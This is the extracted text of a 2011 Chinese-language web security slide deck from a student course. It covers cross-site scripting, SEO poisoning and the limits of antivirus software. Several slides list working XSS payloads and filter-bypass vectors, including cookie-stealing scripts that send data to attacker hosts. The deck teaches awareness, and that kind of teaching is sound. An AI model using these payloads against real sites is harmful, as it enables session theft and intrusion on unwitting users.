XSS

advertisement
網路 安全簡介
「多媒體與網路應用」資訊推廣課程
資工2B 鄭楷穎 985002529
webmaster@digi-king.com
開課日期 2011-03-27
1
網路是安全的?
黑暗中探索著
未知的世界
…
你相信你看到的都是
…
真的?
2
漏洞潛伏著
一點點的程式缺陷
…
都可能造成無法挽回的錯誤
3
你點下的連結
可能
早就被人修改
網頁已經被更動
就這樣而已嗎?
4
你相信?
5
不知不覺中
餅乾已經被偷走了!!
曾幾何時
你相信的防毒軟體網站 也背叛了你
7
XSS?
Cross-site scripting
簡單來說就是 網頁的不嚴謹
McAfee Symantec VerSign NOD32
都曾經出現過缺陷
8
那是什?
http://www.ebank.com/query.asp?word=%3Cs
cript%3Evar+img+%3D+new+Image%28%
29%3Bimg.src%3D%22http%3A%2F%2Fww
w.hackers.com%2F%3F%22%2Bdocument.c
ookie%3B%3C%2Fscript%3E+
實際上
var img = new
Image();img.src="http://www.hackers.
com/?"+document.cookie;
9
短網址的背後
可能是一整串的網址
夾雜著各類的XSS用法
只要稍微不注意
你就成為受害者
10
簡單來說 …

XSS
- 他是一種客戶端的安全問題
- … 但也有可能衍伸出伺服器端問題
- 透過JavaScript來達成目的 …
- … 和 HTML, Java, ActiveX, VBScript, Flash 還有更多 …
- 統計為2010次多的網路安全問題 (via Infosec & OWASP)
- 網路上也到處充斥的教學 (use Google)
11
XSS Types

暫時性的 (reflected)
- 最常見
- 需要伺服器端
- 需要第3方程式

長久性的 (stored)
- 危險性最高
- 需要伺服器端及儲存檔案
- 不一定需要第3方程式

Dom-based
- 最新一種的攻擊手法
- 需要客戶端
- 通常 不會持續很久
12
XSS - 2
XSS Facebook
13
XSS Google
14
更多 XSS'ed

Twitter, MySpace, Hi5, Wordpress, Yahoo,
Joomla, PhpBB, Drupal,
PhpWind,Amazone, PHPBB, Discuz,
*.edu.*, *.gov.*, NASA, Youtube, Blogspot,
Symantec, Kaspersky, NOD32, browser
plugins …
15
XSS - 6
Getting XSS'ed





Where?
Basic XSS'ing
Advanced XSS'ing
HTML 5 XSS'ed
Bypass XSS protection
16
XSS - 7
Where?



everywhere
Rule : 只要是人寫的,一定有缺陷在!!
問題可能來自一切
GET, POST, COOKIE, FILES, SERVER 和 Headers 是主要的問提所在
17
XSS - 8
Basic XSS'ing
<script>alert(1)</script> //basic
“><script>alert(1)</script> //bypass a open tag
<!--<img src="--><img src=x onerror=alert(1)//"> //bypass & generate a error
“ onmouseover=”alert(1)” //all javascript events
alert(/XSS/.source) or alert( String(/Test/).substr(1,4) ); //some other simple vectors
<script>alert(String.fromCharCode(88,83,83));</script> //bypass quotes filters
<IMG
SRC=javascript:al
ert('XSS')> //unicode injection; utf-8,
hex, decimal or octal injection may work
<meta http-equiv="refresh" content="0;url=http://;javascript:..." // evasion
<style type=text/javascript>alert('xss')</style> //javascript injection based on style tag
“><img src=”x:x” onerror=”alert(0)”> // :D
[…]
18
XSS - 9
Advanced XSS'ing
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
<DIV STYLE="backgroundimage:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0
061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> //background &
unicode
exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'> //send IE
into a loop
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML><SPAN
DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> //xss in xml document
x='\x61\x6c\x65\x72\x74\x28\x31\x29'; new Function(x)(); //something different from every day
injections
Function('a\x6cert(1)')();// ;)
x=eval,1,1,1;1; 1,1,1,b='\\',1,1,1; 1,1,1,s='\'',1,1,1;1,1,1,o='0',1,1,1;
x( x(s+b+141+b+154+b+145+b+162+b+164+b+o+50+b+o+61+b+o+51+s) ); //eval + unicode
injection
[...]
19
XSS - 10
HTML 5 XSS'ed
- new technologies, new problems
<video onerror=”javascript:alert(1)”><source> //new tag
<audio onerror=”javascript:alert(1)”><source> //other new tag
<form id=test onforminput=alert(1)> <input> </form> <button form=test
onformchange=alert(2)>X //new events
<div draggable=”true” ondragstart=”event.dataTransfer.setData('text/plain', 'Evil payload')”>
<h3>DRAG ME!!</h3> </div> //new functions, events & attributes
<input type="text" AUTOFOCUS onfocus=alert(1)>
<script>alert(localStorage.getItem('foo'))</script> //access local storage
“><script>(history.pushState({},”,'index.php'))(document.forms[0].action='http://maliciousURL')</s
cript> //conceal the real location and replace it with anything we want. Ex :
http://bit.ly/pushStateXSS
20
XSS - 11
Bypass XSS protection
<img/src="mars.png"alt="mars"> //no white spaces, use / instead
<object data="javascript:alert(0)"> //avoid src
<isindex type=image src=1 onerror=alert(1)> //did you know isindex tag?
<img src=x:alert(alt) onerror=eval(src) alt=0> //another bypass for error generation
location=location.hash.slice(1); //avoid the #
http://victim.com?param=";location=location.hash)//#0={};alert(0) //payload after the hash url, victim
won't see true payload
alert(document.cookie) or alert(document['cookie']) or with(document)alert(cookie) //same results
""+{toString:alert} or ""+{valueOf:alert} //Executes function without using () or =
Future tricks in HTML 5
</a onmousemove="alert(1)"> //html 5 will support events in closed tags
<style>input[name=password][value*=a]{background:url('//attacker?log[]=a');}</style> //pure xss-
based XSS
data:text/html;base64,PHNjcmlwdD5hbGVydCgwKTwvc2NyaXB0Pg== //avoid using plain text/html
value
?injection=<script+&injection=>alert(1)></script> //HPP, popular in SQLi
via BlackHat Conferences.
XSS - 12
Injection Exploitation
(part 1)

Redirection

Clickjacking

URL Spoofing

Session hijacking

Cookie stuffing

Ad Hijacking

CSRF/XSRF attacks

History stealling

XSS Defacement

Key & Mouse logging
22
XSS - 13
Redirection & Clickjacking
Redirection

重新指向網頁, ex. document.location = ”http://www.your-evil-site.com”;

常見的手法之一
URL Spoofing

常用來做釣魚網頁

通常是很常見的網址

被轉向的網頁會包含一堆又一堆的髒程式碼

特級常見的手法
23
XSS - 14
Session Hijacking




通常透過JavaScript document.cookie
取得已登入的Session
需要抓取Cookie的媒介
特級常見
24
XSS - 15
CSRF/XSRF


常透過 <img src=””.
想想看,你能做哪些事?
25
XSS - 16
XSS Defacement


看起來就像一般Deface Page相同
- 但實際上就只有客戶端顯示 …
能製造錯誤的資訊內容給使用者
26
XSS - 17
累了?

其實正題現在才開始 …
27
XSS - 18
Injection Exploitation
(part 2)

Browser hijacking

Port Scanning

DDoS

XSS Tunneling

Distributed Password Cracking

Worms (Spreading)

Arbitrary file execution & Privilege escalation

Intranet Hacking
28
XSS - 19
Distributed port scanning

透過 XMLHttpRequests 和 WebSockets 達成對特定主機發出ICMP封包,
- 但透過XSS你可以遠端執行 …

新版的 Firefox, Chrome or Safari 已經有支援以上Functions (IE是好是壞?)

目前市面上已經有利用這種方法的Shell存在

1 個受害者– 65,000 個掃描區間– 1 秒
- 100 victims - 65,000 個掃描區間– 1 秒

那1萬個甚至10萬個?
29
XSS - 20
DDoS

WebSockets 的應用

應用層的DDoS(Layer 7 DDoS)

1 分鐘 – 1 個瀏覽器 – 1萬個 要求 / 分鐘 透過受害者發送 GET requests

只需要60個受害者就足以讓一般網站癱瘓

我們只能等廠商更新軟體

黑帽已經有類似軟體出現
30
XSS - 21
Worms (spreading)

一種最經濟實惠的方法散布Worms

Samy (2005) 透過MySace在20小時內感染超過1,000,000 使用者

所有的網站都有可能成為目標Yahoo, twitter, plurk … etc
31
XSS - 22
Intranet Hacking
(part 1)

瀏覽器可能會被你瀏覽的網頁鎖控制
32
XSS - 23
Intranet Hacking
(part 2)
程序:

受害者瀏覽一個具有惡意程式碼的網頁啟動惡意JavaScript

JavaScript透過Applet取得內部網路的資訊

利用瀏覽器(XSS Shell)對內部網路進行其他動作
33
XSS - 24
Intranet Hacking
(part 3)

蒐集資訊:

IP

Port scanning - <script src=http://ip/></script>

內部資料
- 取得主機檔案 file:///
- 更過應用透過XSS Shells
34
XSS - 25
預防 XSS attacks



過濾內容
不要亂點來路不明的網址
瀏覽器的安全性
35
XSS - 26
你還認為
XSS 是一個簡單的問題 ?
36
XSS - 27
你會被
來實行DDoS
當成跳板
甚至他可能直接控制你的電腦!!
37
你也許會想
不要相信別人貼的網址
那我用Google來搜尋
應該就不會有問題了吧?
38
但是你沒想過
Google也是有缺陷在的!!
SEO有好有壞
好的幫助小企業行銷
壞的讓上網的人進錯網站!!
39
SEO?
Search Engine Optimization
Google的PR靠他來的
搜尋排名靠PR來的
總之全部都是SEO
而且他能作弊!!
40
排名重要嗎?
34% 的使用者會點選搜尋的第一個結果
17% 會點選第二個
當假網站SEO做得比真網站好的時候
…
你會選對嗎?
41
注意!!
在點下別人給你的連結之前
先看看有沒有包含可疑的字串
搜尋結果後
先看看網址
多個幾步減少成為受害者的機率 !!
42
很久很久以前
曾經有一篇新聞
對啊!!
我們還有防毒軟體
43
過沒幾天
就有
「殺很大」或「遙遙巨乳宣導資安照片」
木馬出現…
44
時間點來說
感染階段
空窗期
清除復原階段
病
毒
碼
更
新
45
防毒軟體觸發
偵測點
下載
首頁
偵測點
下載
執行檔
偵測點
執行檔
被執行
3個偵測點 但是現今的防毒效率還是不高 …
46
因為 …
惡意檔案被一種或多種加殼程式(Packer Program)壓縮過
惡意程式使用隱匿技術(Rootkit Technique)
惡意程式使用DLL Injection的技術
目標式攻擊的惡意程式樣本收集不易
編過碼的惡意Script (如JavaScript, VBScript等)
病毒特徵碼太大(很多防毒軟體都有這個問題)
47
加殼?
48
總體來說
防毒軟體並不是我們的最後一道防線啊!!
身為使用者
您自己的決定權
才是最後一道防線
49
那要怎麼辦?
盡量不要點來路不明的網址
如果有牽扯到重要資訊
務必選擇有SSL加密的連線
SSL具有以下幾項優點
私密性
完整性
身份認證性
50
總結
好的網路使用習慣
時時刻刻保持警覺的心
就能大幅降低電腦受到傷害的機率
51
最後…
FAQ
Time
52
其實還有一頁!!
參考資料
大砲開講 : Rogerspeaking.com
BlackHat : Blackhat.com
Google : Googleretail.blogspot.com
Ha.ckers.org : Ha.ckers.org
WorldIT : Worldit.info
53
Download